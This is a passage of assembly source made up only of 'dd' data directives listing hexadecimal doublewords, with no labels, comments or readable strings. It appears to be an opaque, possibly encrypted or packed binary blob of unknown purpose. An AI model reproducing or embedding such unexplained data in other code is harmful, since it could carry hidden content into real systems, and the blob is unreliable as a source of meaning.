1DB574D4h, 9FAE30B8h, 96C033C6h, 0FA566452h, 0F55B7BADh dd 2FEE02D5h, 0FEB912A7h, 7BB6C95Ch, 15216C52h, 4697F6C4h dd 0FE3F8578h, 8249C692h, 72841C04h, 174061F2h, 1E000001h dd 0A50BAE56h, 0BEC692CAh, 0CA20886Dh, 0D223C692h, 7A52C793h dd 0F1390654h, 0E29365B0h, 4790C375h, 97B82876h, 0F55291B5h dd 0C375E7C2h, 0DDA3763Eh, 2FC375E7h, 75E7268Ah, 3EC3DC3h dd 8C9CF332h, 8F99A6AAh, 4DB01AA6h, 597C2051h, 0C3752BD7h dd 61B283ECh, 0BDEAB51Dh, 0CD235E9Dh, 72B986C8h, 0C3B5004Ah dd 0C0C3752Bh, 9B3EB4F7h, 0C95C3F42h, 75FBDE86h, 0EC6923Fh dd 3C0DFE3Dh, 0FC3F92AAh, 63BF9F8Bh, 5526300Ah, 0FF75B0h dd 0F34550ECh, 0F0C6921Ah, 7E4048A7h, 0D6F8C920h, 221A012Eh dd 71B366C3h, 67B0CCB8h, 0AE12A76Fh, 0A5C8A47Dh, 0F25D1954h dd 0AA5AF6C4h, 8D613292h, 0B9F42140h, 58706C5Ah, 0F0C12876h dd 1F43910Bh, 0F4E74370h, 1C1Ah, 0C907377Dh, 0C60A2862h dd 0C0083079h, 0DC0C507Bh, 0DD734B77h, 0A1E9C1F0h, 0BDE8B799h dd 0A3E8B799h, 0A6E64D83h, 69794880h, 9FACE44Ch, 0DA8CFFC6h dd 0E6377D35h, 0EBDDD996h, 5D7DA588h, 4264A4F3h, 7A52DA8Eh dd 6F4A7254h, 0C375E299h, 146A499Ah, 0F5DDE12Bh, 624161AAh dd 5536F7EEh, 0F9DCF697h, 0C95CEA7Ch, 10A12879h, 85E359A0h dd 10878F5Dh, 0B2AEC526h, 220D4596h, 0E3EBCAE8h, 29FC45D6h dd 0ED31020Bh, 577F1ED2h, 105EB42h, 61CE8001h, 0DDA30038h dd 0D60D36B5h, 0D12B485h, 69153B1Bh, 0FB0DAAD1h, 2B0AF9A2h dd 3DE2C4C4h, 3291548Dh, 63DCFF5Bh, 0B400001Bh, 0B5824E88h dd 0B09FB191h, 0B299B787h, 8E95BB9Bh, 0F96BA80h, 0C0F62078h dd 0C0F42308h, 0CAEA2308h, 0CFEF3906h, 9326A001h, 0C69FAC2Dh dd 5283F726h, 3A72547Ah, 0A7E28EC1h, 704EAD5Fh, 0D2F49957h dd 5C55FAC7h, 0A2AEFFC9h, 0E7057E23h, 0AC09AC26h, 50CCBB5Dh dd 0E00C43D8h, 0C0237CF9h, 0E7AF2273h, 0A696D58h, 0E9885EADh dd 899DA280h, 2C9421A9h, 2710F5C5h, 4E897D6h, 0A36C4901h dd 0B81ADCC9h, 7874136Fh, 62B89C8Bh, 5903A0Bh, 103A28A6h dd 0ACAC95BAh, 0BC9AFC51h, 1952362h, 98BEEEC1h, 0B01A6B42h dd 0B799BDEFh, 0E19EA0E8h, 439C57BBh, 0AB2EAD85h, 0CC00001Ah dd 0CD5AF6C0h, 0C857F9D9h, 0CA51FFDFh, 0C66DE3C3h, 476EE2D8h dd 84E7830h, 84C7BC0h, 72527BC0h, 775771DEh, 0DBFEE8D9h dd 0C69FAD55h, 524B3F6Eh, 3A72547Ah, 3DB47D07h, 363E0E89h dd 0A23AEF0h, 5B744AA9h, 3813F995h, 24CF9232h, 5E5405D2h dd 7740FDEEh, 5AF57A5Fh, 0A1F2C95Dh, 16436AFh, 0F8A02AEBh dd 8567657h, 9865C221h, 9DCCBB90h, 0E6BC1D4Ch, 536BD019h dd 86A4E69Dh, 4E0051B8h, 2BD5A26Bh, 106EBF61h, 32947977h dd 0A5D9AF0Ah, 89DA6D2Bh, 369520AAh, 3367035Ch, 624A3E9Bh dd 65B07730h, 77306293h, 0A5F64790h, 0FB2D7254h, 0FE2E75DBh dd 2C8723D8h, 0F1491893h, 19E9EAh, 30063200h, 3B1B3318h dd 39010E15h, 3D010817h, 3C1A0413h, 0BEF2812Ch, 0B9864A70h dd 0B9864A72h, 0B79C4C6Ch, 2A9FB195h, 0B2AB1DB8h, 7DA8C69Fh dd 3F6A350Dh, 8BEAC31Fh, 7C4264A4h, 0C6888D63h, 0FD43561Eh dd 0F6C375E2h, 30095DA5h, 0C5F1DF24h, 979C01E6h, 859C95Dh dd 5C11CDC0h, 0EC6A8490h, 854EB15Dh, 3A8712B4h, 3FCCBBD9h dd 10DEE3EEh, 0BECB76ACh, 4B97B791h, 707C0362h, 321A25ADh dd 3085D12Ch, 0C04C1E6Fh, 0A8C71B64h, 41094144h, 22F7ACFEh dd 0CD821E5Eh, 0F43B0455h, 0D4B5F0D6h, 0C7AAE779h, 86A92172h dd 83A8A086h, 0E6F8A589h, 8E792CE1h, 193029B2h, 5D4B0000h dd 4248D779h, 5A47EC7Ch, 4641EE62h, 555DEA66h, 0ABDAEB65h dd 5DF3CBF7h, 5DF3CBF6h, 5BF5D5F6h, 56FADCCCh, 0D2A67353h dd 0D1C69FB3h, 7A52F4A2h, 1162404Ah, 93AB96B9h, 9B516E50h dd 728D0FAh, 0C80E3806h, 744A9BF2h, 2C71D615h, 29C95CE3h dd 94E5C5C6h, 0C88859B4h, 10192767h, 0AAFBD228h, 1E3E6B54h dd 4698E9C0h, 13705D43h, 0B7CA2901h, 0A7725439h, 0CCBB1ADAh dd 91A590DFh, 0BB137C4Dh, 8D34BBF3h, 47126719h, 0BBA01EE2h dd 0E9C415C8h, 9820D5EAh, 856B5CF0h, 22EBCE80h, 3F56CBD4h dd 43CE4EEh, 92E8CD43h, 69DF94EFh, 6A660B35h, 0CBE4DA19h dd 44511925h, 660B35FCh, 7FC1A6F7h, 74660B35h, 25F0DA2Bh dd 6C23CC46h, 80B81263h, 0EC2E10B5h, 0CDE8E220h, 6813587Bh dd 86CC2F78h, 3D8316DEh, 0A8681358h, 0BE8F587Eh, 1638107Fh dd 1B3B6D3Ah, 0B4665E66h, 8DCE6A0Fh, 182Eh, 0D57B4349h dd 0D27E5C4Eh, 0EC7C5C45h, 0E8604447h, 0E9675743h, 0CDF5ADC4h dd 0C9F4438Dh, 0D7F4438Dh, 0DAF259F7h, 7D5554F4h, 9FB0D058h dd 0F6A0D3C6h, 6547A52h, 0C8828369h, 602DFEEDh, 20AAFBC9h dd 0ED210C1Fh, 27B7D870h, 17764495h, 97B19ED4h, 5E7EA9h dd 0A170D829h, 0C69F884Fh, 8A4645AAh, 0B18662DAh, 0FE13DB9h dd 84E5391Dh, 328613BBh, 31C69FC6h, 7EAE85E0h, 0F5FBF058h dd 701BBE10h, 9CC8A09h, 49E9638h, 0CF4DA371h, 443F9200h dd 44E57272h, 9AA56D69h, 7C5392B0h, 7BC0082Eh, 0A72F7353h dd 506650FFh, 0A1E92D93h, 96D526C8h, 0D04D91BBh, 7021B812h dd 6F5D7EDAh, 88000017h, 8996BA9Ch, 8493BD9Dh, 86ADA39Bh dd 82A9A787h, 1BAAA694h, 0CC0A346Ch, 0CC08371Ch, 3616371Ch dd 3B1B0D1Ah dd 0E7329415h, 0C69FB011h, 2B7E312h, 0FFA72FEEh, 12516550h dd 602D26B5h, 7925AC9h, 0C69FA8B1h, 0B10261B2h, 0C7C16E60h dd 5D9269E7h, 238114BEh, 31C69FA8h, 8C744109h, 87C69FA9h dd 0A90FF1B6h, 0B29AC69Fh, 0B3F2C3ACh, 0C8ADF1C2h, 0C69FA963h dd 40484E1Dh, 61EF3FD0h, 0C7F7220Dh, 0EA5392FBh, 44h, 2EED02FCh dd 0E2AB11A4h, 57A0C375h, 0E2CEB60Bh, 93B8C375h, 8A73EDF7h dd 255167D9h, 15000000h, 75E253D8h, 0B3529EC3h, 0FF79BE1Bh dd 0DF87C95Ch, 92FE76FAh, 0AA3C0DC6h, 92FEB90Fh, 0A69BAC6h dd 20E068B9h, 1F3F6A35h, 4A4BA1DCh, 0C8EC3F00h, 17D4E1EDh dd 5CC95CEBh, 0C8C02F73h, 25F0CDF8h, 0C692EB53h, 0E5360750h dd 0EACCDC6Bh, 0B104CC94h, 0C692EBCFh, 55B8FBC4h, 0A6116D6Dh dd 701A327h, 0DA652927h, 0BF92D1F1h, 9D2406Dh, 2F56A78Dh dd 28BCF4DEh, 0F23A0769h, 58774BAAh, 61D9F194h, 4919AA2Ch dd 37B91C20h, 0CCC6925Ch, 1B5392E3h, 0BB5769BEh, 818897CCh dd 260FF1C4h, 3B04C8BBh, 0F4BC94EAh, 0ABFB4BA0h, 0B20362B3h dd 4840EF61h, 0F2A51866h, 0E93062BBh, 2FD8FEh, 0F0D92509h dd 684E5EB5h, 0EECED966h, 56A48883h, 13383477h, 0FEC91539h dd 6FC78FAFh, 0E011E414h, 239AFC2Dh, 0C224889Fh, 43774BAAh dd 7D35FE98h, 0E4E0BC4Dh, 341B5A32h, 311E3214h, 0B09F3717h dd 0D75B086h, 0F3D3FA45h, 601F5EAFh, 0F4C1898Ch, 4D585613h dd 0D6F6D118h, 0D656D58Ch, 1A6B9DD9h, 1F3F6936h, 9DA1E8B7h dd 350D6841h, 0A3FFDFCAh, 0D015B5D4h, 0A2715C4Fh, 0D50AB3D5h dd 0F624192h, 817391Dh, 0C7E03E00h, 57626429h, 40B7D406h dd 5127F2BAh, 524CA7D5h, 512201h, 1B2963C8h, 3195212Ch dd 0F777C5C0h, 27892CA6h, 3C4CA70Fh, 14BC82D3h, 0AF11A46Ch dd 0A44CA70Fh, 0F2A9E5Bh, 0D8294CA7h, 0FB83C9Dh, 2D9E5CA7h dd 290D1FADh, 13331827h, 5226F3BBh, 515CA70Fh, 92DD2500h dd 244896A4h, 6FD1E4ACh, 645CA70Fh, 189D81Bh, 864A6AA3h dd 83EE66DEh, 7B90D359h, 0CEF0D538h, 44A5F9C1h, 0F1D8277Bh dd 0A72691EDh, 0A4848123h, 2A0A1D22h, 0BAB6F5D4h, 1F7C28Ah dd 8B5CA760h, 31BFA076h, 634C1D66h, 0A1F82D00h, 0A707AC14h dd 556A75Ch, 0B3529E39h, 0DFCC531Bh, 7B63AFFh, 7C4D5CA7h dd 0E360B501h, 0F0568E0Eh, 15002FA7h, 0B18CDD21h, 18BE2D51h dd 644A40EFh, 99F43716h, 97BCAC8Ch, 54D91B5h, 0CF0785Dh dd 0A2F366CCh, 1A3C6C43h, 1F20A0C4h, 0D6C02F0Fh, 70B39AE0h dd 0C1CB5961h, 0E47C53FDh, 0E0C21FA0h, 33h, 597952E2h dd 8A955D05h, 0D5CA280h, 75E2C0A8h, 0B3F2C3C3h, 0F723E00Ch dd 0CEEBFBC7h, 0C375E27Ah, 8EDF2879h, 974F1C4h, 1061C95Dh dd 2E7F38h, 35AB0000h, 0C41E3C6Ah, 0B10EF11Dh, 0EDC02362h dd 693698B8h, 0EF3E1C3Ch, 0D715B28Ch, 0C8399C36h, 5CC95C84h dd 7755C8E4h, 0A9843B38h, 85458BD4h, 0AE4245E4h, 65D2E7EFh dd 0ABC95CEAh, 5CA28484h, 0C5D2E0Dh, 0CCE9915Dh, 0C692EA64h dd 6ACF2E7Fh, 0BDCFF186h, 0D6F89D53h, 0C6F15AC3h, 8CC61733h dd 664569A3h, 0AC717F18h, 303C9F3Ah, 0E435C9DCh, 6B4B5DE2h dd 684E5EE5h, 0B6113FB3h, 0D289A16Ah, 13C6h, 7DD3EBD1h dd 7AD6F4D6h, 74D4E42Dh, 70D8FC2Fh, 71DFFF2Bh, 555D15ACh dd 515CEB65h, 4F5CEB65h, 725AE16Fh, 85CDFC6Ch, 9FB44830h dd 6E584BC6h, 75E350D8h, 4E4F9DC3h, 0C6F35C04h, 4E9FBFE8h dd 7DDA1970h, 0C95D132Ch, 562E58D0h, 4FDB811h, 0A7725429h dd 0C6927DD1h, 1EB081D2h, 0EB371731h, 632BA382h, 81E8CEDCh dd 725BA787h, 0EFCFDC33h, 20F5BD61h, 0C6927D58h, 0E7270A5Bh dd 5392FBC7h, 330F2F7Ch, 3DE2C4C4h, 6A354BD3h, 3396C51Dh dd 44000013h, 45D27E58h, 40EF6141h, 42E96757h, 5EE56B4Bh dd 0DFE66A50h, 0F0C6F0A8h, 0F0C4F358h, 0FADAF358h, 0FFDFC956h dd 0A3765051h, 0C69FB5DDh, 2F3A7D6h, 12A72FEEh, 0C95D1209h dd 72DDF5C6h, 49D67A58h, 0AD557D5Dh, 92D2A008h, 897F5AC6h dd 8AC692D2h, 5C9FE8B9h, 13331562h, 80B6E0CFh, 74444DBAh dd 0ED311135h, 3A8402C9h, 19AB2FBCh, 0A2232D0Dh, 997A73FAh dd 27340C36h, 0CB2AB4CFh, 724363AAh, 0EFCEEE3Fh, 56A48A80h dd 92BF1EE3h, 7016C9C6h, 83A3E8B7h, 79594DA0h, 0F6172FD7h dd 4A3C781h, 594DA083h, 668A2579h, 16002FA7h, 0F4CAF03Eh dd 6D694495h, 879F3148h, 6961B2CCh, 0AF8F9EA1h, 2615540h dd 15A0FD2Fh, 0C8A41EA3h, 0CA0657A0h, 430B2B7Dh, 0B195B49Bh dd 0A41E0CF4h, 0AF8F99C8h, 58A97A53h, 668A251Dh, 0CF672FA7h dd 0B2FF7E6Dh, 0D55B48Ah, 0FA39A9FDh, 0B1E18D1Dh, 51794AC2h dd 50F8DECEh, 0A1FDC1CBh, 1F3F6E31h, 4A4BA1DCh, 0E820B500h dd 0F35CD8E0h, 0C7B4F7C7h, 0DFE909F6h, 0B277BF0h, 120950h dd 10261200h, 1B3B1338h, 19216E35h, 1D216837h, 1C3A6433h dd 9ED2E1CCh, 99A6AA90h, 99A6AA92h, 97BCAC8Ch, 0ABF91B5h dd 0BA8B7D58h, 9D88C69Fh, 0E24FD82Dh, 0D1FAC375h, 4CA05FF1h dd 0F2B40149h, 0C9602Ch, 0F0D4F758h, 12E643AAh, 11C69FA8h dd 3FAF76C9h, 0DD2E1186h, 2D5820F5h, 0A5BC69Fh, 41095A2Bh dd 0C189B1FEh, 370B337Eh, 895997D6h, 59827AEAh, 1A54A68h dd 351C0000h, 3D01216Ah, 0FCF291ECh, 0E2E35560h, 97E0C375h dd 0FABCC34Fh, 5AABB481h, 220D356Ch, 0E9C4EAh, 0C375E2BBh dd 0B189B679h, 2614026Dh, 49A0F1D8h, 0C4257941h, 0D35CFFBh dd 0FBC7F722h, 0D650EF9Bh, 2A7BA4E9h, 0A32E9FCBh, 33080278h dd 0E0EA3B1Bh, 16361738h, 75E2EF51h, 8185E4C3h, 230C5DA1h dd 315596C0h, 1216A35h, 4D4E9F22h, 0CF0F3A05h, 0F5B9AF3h dd 8AEA1C32h, 5A6AD982h, 52h, 0ABCC3870h, 393D2DEBh, 802ECFAh dd 0A709AC54h, 0BCC375E2h, 0E2229653h, 0D021C375h, 0D35D387h dd 26BBAC35h, 9AFFC7E7h, 9E7BBA4Ch, 0C3751829h, 35E9DD2Eh dd 216A3511h, 91EC3D01h, 114575A2h, 0D350E44h, 75E2C0A8h dd 0B3F2C3C3h, 6730h, 8026600h, 0E5360633h, 289025EDh dd 2BC375E2h, 35CF9BDAh, 16033D6Ah, 0A0F1D826h, 0F33C735Ah dd 5796F7CBh, 0DFC8571Fh, 6B4AA3FFh, 75E2398Eh, 5278C7C3h dd 4C9D310Ch, 3111351Ah, 9A19CEDh, 65521135h, 6A356155h dd 0EA5E7B20h, 0E9C375E2h, 1A734F98h, 30F8E2DBh, 93303478h dd 9D5A9A82h, 0C375D32Bh, 0CA9CDF28h, 0A1AE7D35h, 0D52D3118h dd 40A3AFA3h, 0D9594BD5h, 26196Ah, 2AD0000h, 35BA28EBh dd 75E21BE0h, 9BCF18C3h, 0D351135h, 75E2C0A8h, 0B3F2C3C3h dd 7A684E5Ch, 1D3E0E44h, 68000000h, 0BA28EB02h, 0E21BE035h dd 8D9C375h, 8DADF946h, 4D1D58B1h, 78521135h, 0E446C5Ah dd 65226A35h, 75E2E850h, 499AEBC3h, 0FE526B6Ah, 2BFFFFFh dd 98A72FEEh, 7A53AFAFh, 7766B33Bh, 0CC9602Dh, 9B84AB23h dd 250A40A3h, 760DC3E3h, 0E5309A79h, 0C69FA813h, 6FBC710h dd 0C69FA8B4h, 772E06CEh, 0F2753CEBh, 0CDCD9CDFh, 31153718h dd 0CAA19CEDh, 61EF625Ah, 306Ah, 5CD87C00h, 0C9C375E2h dd 0AD51FFDFh, 0E268D0E5h, 46BC375h, 8EDF231Bh, 14997EBDh dd 0DFC375E2h, 7F5A0C11h, 0C95CEA5Eh, 15C60A5Bh, 0D4h dd 3C6A3545h, 0D5F7C01Eh, 735CADF1h, 0BE5F8D30h, 56AE1C14h dd 5CD45C79h, 9EEFC375h, 95D4AF44h, 70B91C56h, 0DC95DA7h dd 8085AA3Ch, 7D4E6CBEh, 0B37B23D3h, 92079266h, 0E34091C6h dd 0C692071Dh, 8BE6C516h, 435CA282h, 0D3E6E8ADh, 0CC87C884h dd 45EAFCCDh, 43E86040h, 7B146A4Ah, 9B3E9075h, 0C2B215E0h dd 0D7064199h, 7E5C62A8h, 318DD72Fh, 6B8D4C98h, 56A79DA7h dd 0AAE24D05h, 8A50D8FDh, 0B53D2C9h, 62B8BE75h, 0D3FBC4F0h dd 0C9A372C6h, 0D72071D2h, 0D4FAD279h, 9EDD127h, 9C3F1B76h dd 0ECEh, 75DBE329h, 72DEFC2Eh, 0CDCFC25h, 8C0E427h, 9C7F723h dd 6D550DA4h, 6954E36Dh, 7754E36Dh, 7A52F957h, 9D35F454h dd 9FB9B038h, 1640B3C6h, 5F4A7A52h, 0E7D02E7Fh, 29BD81A5h dd 5C24F1B9h, 57C375E2h, 12B42706h, 98B096B6h, 27892CD4h dd 3CC375E2h, 8B0590D3h, 0B967D98Ah, 3Fh, 0E44C6911h, 0FFC375EAh dd 21B4FAEh, 0FFA72FEEh, 0E21EE237h, 0C415C375h, 0EE9F00E9h dd 0B54C95Ch, 0FEC0C837h, 0E3C3C552h, 0CFB253EBh, 1471A083h dd 22CEE9D9h, 0BD4E6B63h, 3ACCBA66h, 52A367E9h, 0A9F65A78h dd 2A755D7Dh, 0A39FDEFCh, 75E273DEh, 93ADFEC3h, 0A38385BBh dd 0E13D0E5Fh, 0DA91BF88h, 7A5F7716h, 0C9602D3Fh, 795075B4h dd 0C1B59590h, 66B48591h, 866A4F07h, 9DC69FFAh, 0C46B634Ch dd 0BD6DE3DBh, 59827AEAh, 0BD83BB68h, 0A497029h, 6ADEFBD3h dd 69C3F577h, 8760DD18h, 7E000001h, 96D5F5D1h, 37EC02C0h dd 83EA3014h, 8E2018B2h, 684EC17Eh, 35BB2F0Eh, 2003236Ah dd 9F3AE2AAh, 0C375E229h, 11D59CA3h, 8C5DFF81h, 12E740A3h dd 0D6C3753Dh, 11355307h, 3578A32Eh, 0E2C0A80Dh, 8BC3C375h dd 75E25A2Eh, 3F0859C3h, 6845C1FCh, 231557Ah, 0F8CE21EBh dd 34C5BA87h, 88E73016h, 0E5FA383h, 1C32893Dh, 0D9828AEAh dd 435A6Ah, 26C0000h, 0FF415408h, 0F4C375E2h, 674744ABh dd 0F5E1321Bh, 0E21BE035h, 0CF18C375h, 76FADF87h, 0DC375E2h dd 35E9C13Ch, 4B655211h, 0A62C7D41h, 6A350E44h, 0F03F0323h dd 4BA6F7C7h, 0BC3F7E5Eh, 5Fh, 3D6A35EAh, 81E8C11Dh, 3847A686h dd 0F5DCC9CEh, 42D0300Dh, 0F7CB14C9h, 220D4596h, 90F9C5F5h dd 0E0350555h, 0C375E21Bh, 163416D9h, 82D3F3DBh, 216A35D4h dd 0E0A82201h, 0ACCBA748h, 8CEF96E5h, 8B7D35DAh, 4D8DB5FAh dd 0D9C61871h, 45A88B60h, 535625Ch, 8C99D039h, 2E7F4EACh dd 0EA0E44B8h, 6AD9828Ah, 2D5Ah, 0EB026C00h, 0E035BA28h dd 0C375E21Bh, 359BCF18h, 8977347Dh, 0B618D894h, 751F9D63h dd 664596C3h, 7852B86Ch, 0E446C5Ah, 373Eh, 0EB026800h dd 7D35BA28h, 85269207h, 0C6F03FC4h, 6043AAF0h, 8A9DA26Ah dd 0CC7C54AAh, 1E886346h, 0A700634Ch, 0C375B8D2h, 3593C716h dd 44785211h, 0CF1E7C5Ah, 0E44C8FEh, 0FFFE5F3Eh, 6A3568FFh dd 9C230220h, 0B0054D50h, 0C9602D2Dh, 0D27D55A6h, 4874D4FAh dd 0BC82BAE7h, 7C730E6Dh, 51A29A81h, 0A8D45C79h, 9EEFC69Fh dd 0A80DFD40h, 4F77C69Fh, 0A84E3287h, 6A45C69Fh, 0F1CC1D3Dh dd 172FD8FEh, 4F6A9E93h, 0C69F78F9h, 0D551A9FAh, 9F0A6937h dd 61EEB805h, 15C7h, 5CD88300h, 0C9C375E2h, 0A651FFDFh dd 0BBh, 6B4B43ECh, 0EE025E08h, 2E9F6D26h, 75E5258Bh, 95ED3EC3h dd 97E03EE4h, 53519A3Fh, 1D6EC95Ch, 88A1EAB5h, 0D7FD9932h dd 222E7F6Ah, 0CA103015h, 745E3FADh, 879432A1h, 646EBFCCh dd 7ED2F2DBh, 99A1E9B6h, 2A096445h, 0AC87C8E1h, 8BFEC9CCh dd 70185DB3h, 99EACD54h, 0CEC62A45h, 62F218B9h, 8EB5F400h dd 40557D4Eh, 0C2B2F50Dh, 6428A79Fh, 5042849Dh, 7F57A015h dd 7AD6F8D0h, 26DBFB2Dh, 760B31DAh, 53A13A16h, 0A400000Bh dd 0A5F25E78h, 0A08F4161h, 0A2894777h, 0BE854B6Bh, 3F864A70h dd 0D0E6D088h, 0D0E4D378h, 0DAFAD378h, 0DFFF2976h, 8316B071h dd 0C69FBC3Dh, 5293C736h, 5E06547Ah, 0AAF0C8F1h, 1B0D6043h dd 18C3E73Bh, 0D4FAD27Eh, 8AFD9774h, 55CF67D9h, 9B000000h dd 0BF847D35h, 8738A759h, 32D319A4h, 1B0C3D98h, 0B889C95Ch dd 6F4A7262h, 0C69DE399h, 2466499Ah, 0C0C82706h, 0C3C552FEh dd 0EC009FE3h, 56F9A129h, 3B8D2869h, 38C69DE3h, 69409EEFh dd 7D866811h, 0BCFFFD57h, 0B4A212DBh, 745EAFCCh, 0FFC3E32Bh dd 0C1814FAEh, 0F65A7852h, 75E24223h, 0F4D4F1C3h, 4C519F54h dd 2D0FBF1Ah, 0BB84C960h, 3B030C13h, 0ABD16915h, 2DD3FA8Fh dd 44452971h, 32630C00h, 7AEAE7F3h, 4A685982h, 1B7h, 3D6A351Ch dd 0D7201403h, 53AFAF98h, 66843B7Ah, 0D3533A7h, 351FA835h dd 4A5D8E03h, 7DDA196Ah, 0C375E688h, 5DD5FD4Ch, 0D88EE6AFh dd 0C397D6FDh, 6A351135h, 240A003Ch, 58A6F7D6h, 2CA33271h dd 240802F7h, 4F6AF1B1h, 0C375BBF9h, 2251A9FAh, 0FDE93A5Bh dd 7D152D55h, 5C9140ECh, 0DD6162C2h, 2C7D49D9h, 7D3599D1h dd 3A1602B7h, 1AA984EEh, 846C49D3h, 1C375CBh, 0F0D92505h dd 0A60AAF27h, 0BDC375CBh, 9832036Ch, 60AE94B7h, 0D435095Ah dd 1C32C199h, 0D9828AEAh, 2F5A6Ah, 26C0000h, 35B92D08h dd 75E21BE0h, 9BCF18C3h, 65521135h, 1E7C404Bh, 358DF7CFh dd 0C8B49E98h, 0E44CBFFh, 1E3C6A35h, 0CB8AE9C0h, 4Bh, 2D08021Fh dd 187D35B9h, 332E35D7h, 1ABF3776h, 0C375F595h, 0FDD9C46Bh dd 596D48A1h, 0D35DA88h, 0F1D5EB22h, 53BC8DD1h, 0EBFF3E0Fh dd 1216A35h, 0A291EC3Dh, 450D4575h, 75E28870h, 0D1A772C3h dd 0D2C375E2h, 84E73081h, 0EA0E44D2h, 6AD9828Ah, 455Ah dd 6A356C00h, 9F220121h, 3A054D4Eh, 0E4F23111h, 0E21BE035h dd 0CF18C375h, 220D359Bh, 0F1E9C4EAh, 6C5A7852h, 3C6A35h dd 94D72016h, 5E3E3BAFh, 74000000h, 0E287694Ch, 0CA9CC375h dd 75E219EFh, 0F8C91AC3h, 0D352DBDh, 0F4CAE822h, 0E268D095h dd 1A6BC375h, 4645A4DBh, 0CAEA230Ch, 5695F4h, 0EB220D35h dd 3C96F7CBh, 75E21799h, 0E0C32CC3h, 75E2B207h, 33864EC3h dd 0C375E24Dh, 79893CCFh, 0A07105DDh, 97661457h, 52113523h dd 446C5A78h, 0FE403E0Eh, 268FFFFh, 12A72FEEh, 0C9602D4Bh dd 557556F9h, 0D12C321Ah, 94BB137Ch, 0B4828CB4h, 0E10EE56Bh dd 0F3CFEF3Ch, 3E01499Ah, 0E3EBCAF0h, 364F033Bh, 0CF541586h dd 0BB87B7E0h, 0C2B61352h, 0C1C69FFCh, 67D7AAF0h, 0E2C69FFCh dd 48B78BABh, 9E22785Eh, 0ED61CDCDh, 0C06F983Eh, 838EE1D5h dd 270667BBh, 0EF6CE070h, 41EC61h, 0D8E60000h, 0C375E25Ch dd 0A58581AEh, 1E7C424Ah, 8781ECCFh, 52672FA7h, 0C375E2EEh dd 0A172527Bh, 2F785E4Eh, 0F35C00CCh, 452B8EC7h, 5EC375E2h dd 0F6DE3C0Dh, 75E25D23h, 340556C3h, 0CCF6F9h, 35200000h dd 0DC1F3F6Ah, 4A4BA1h, 5D0E0CB5h, 16B889C9h, 0E4C4C16Eh dd 4161AA89h, 4B6BA08Fh, 0F1945877h, 695FCD9h, 9DEECC87h dd 1216A35h, 38E0A822h, 0A4942B9Dh, 0B595B6C8h, 77549BE4h dd 0C3220B57h, 0B19FBFECh, 0BD81A1EAh, 0D4C26D15h, 94BF01E6h dd 62B4C8A4h, 117C23BFh, 93D22380h, 516400ECh, 0C8A437EFh dd 0DF045E6Dh, 50213E0Dh, 37A23F07h, 2B8C833Bh, 70C8F0DAh dd 2C91843Eh, 0D4B5F0BEh, 0C2B1E199h, 66C981D2h, 63C80026h dd 96980529h, 5E7609B4h, 77CD982h, 919F0000h, 8E9CABA5h dd 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h, 113F1F0Bh dd 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h, 1DC69F80h dd 7A52B8EEh dd 0EF390654h, 8BD4F4D1h, 0FBB313B7h, 1F0326A2h, 0A5858132h dd 0C4277059h, 7557F595h, 78E8FF51h, 5467D8D7h, 2Eh, 2FEE021Eh dd 0ACB298A7h, 0BB00551h, 88C95D11h, 269E63BFh, 50C692CCh dd 0B9A088A0h, 0B59E0927h, 79636776h, 61F28DE7h, 41E5h dd 0EE02E100h, 0DD12A72Fh, 9AC95CE8h, 7507457h, 0FADCCC3Bh dd 795D4FD0h, 210E363Ah, 97F6C4E4h, 0F2F7954h, 0AB589433h dd 59714262h, 64CCE991h, 0E1C692E4h, 0E03182BAh, 8932485h dd 0CF18CCBAh, 6A354101h, 0F6C11D3Dh, 58A2F3CBh, 0DF644FFFh dd 0BD6645FAh, 4C519FF0h, 0C4CD521Ah, 63D0B9F4h, 0A9C95C3Ah dd 2F6C49E1h, 1BDD13E9h, 9233EA5Eh, 0D4E1E9C6h, 0C692336Ch dd 0E6C51667h, 3485C415h, 860BFCE9h, 0F5DDC02Ch, 2F27F20h dd 4752740Fh, 0F30CAF1h, 7E50A1F2h, 6ECB3DC6h, 371123C5h dd 91E2CB17h, 0A89FAD49h, 91EC4EDAh, 25DA16B1h, 0A881DDFDh dd 19654541h, 0CAEFE730h, 5181E73h, 88973F08h, 1C14BE80h dd 0DAA6E305h, 0ABA984C3h, 0F5AA8C9Ch, 367A633Dh, 174C0F2Bh dd 60000006h, 61CE0234h, 7CCB0525h, 7EC50B33h, 7AC10F2Fh dd 0F3C20E4Ch, 94A2ECC4h, 94A0EFB4h, 9EBEEFB4h, 83A3E5B2h dd 4F6A7C4Dh, 0C69F86F9h, 52DF8BFAh, 5E06547Ah, 379600E6h dd 116C0650h, 0BC5F522h, 359D806Ch, 6047F9E0h, 7E5B03C9h dd 0C69F578Ah, 887DB889h, 2B1463BFh, 61C06E13h, 90A86A38h dd 5B1CBh, 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh, 0E5C9C06Fh dd 0E4D2DC6Bh, 762A5964h, 71DE7248h, 71DE724Ah, 4FD47454h dd 0D2D7795Dh, 865325F0h, 2550C69Fh, 2FEE0275h, 2D4312A7h dd 3F08C960h, 93AB94E3h, 37F74AEEh, 0A13A166Ah, 566h, 9DB38BB1h dd 9AB694B6h, 94B4848Dh, 90B89C8Fh, 91BF9F8Bh, 0F53D750Ch dd 0F13C0BC5h, 0EF3C0BC5h, 123A01CFh, 25AD1CCCh, 9F862890h dd 8EF82BC6h, 0A72FEE02h, 602D4712h, 63AAF5C9h, 42577F43h dd 0C69FA8FEh, 185BA4F5h, 3B045AABh, 0F751CE0Eh, 0B96A37F6h dd 50C3AA1h, 216F0000h, 3E6C3B15h, 3E6B3018h, 2265321Eh dd 3961CE02h, 0CFE6CF01h, 0A1AFAF9Bh, 0A1AFAF9Ah, 0BF91B19Ah dd 0BA96B890h, 0F67A5F77h, 8DC69F87h, 7A52289Eh, 1061414Ah dd 8BABFDCAh, 1B726BC3h, 199B44B3h, 99E166CDh, 362684Ah dd 7119703Fh, 7BD5F9D3h, 84DAFC2Ch, 75614C31h, 2BD39BC3h dd 75613A8Eh, 8DE839C3h, 430BBCDAh, 75618276h, 1EB081C3h dd 756135BBh, 0BEFDCEC3h, 0FB557953h, 0A52DF0FCh, 60A97910h dd 0A1297AC9h, 586956F9h, 0A38011Bh, 1053BC5Dh, 5CBEB3Dh dd 0F2C8EE3Eh, 5C7617D5h, 8AE0D179h, 755DAECCh, 6698473Dh dd 3372BFCCh, 92B494BBh, 97B791BEh, 0DDC02C4Bh, 80BB20F5h dd 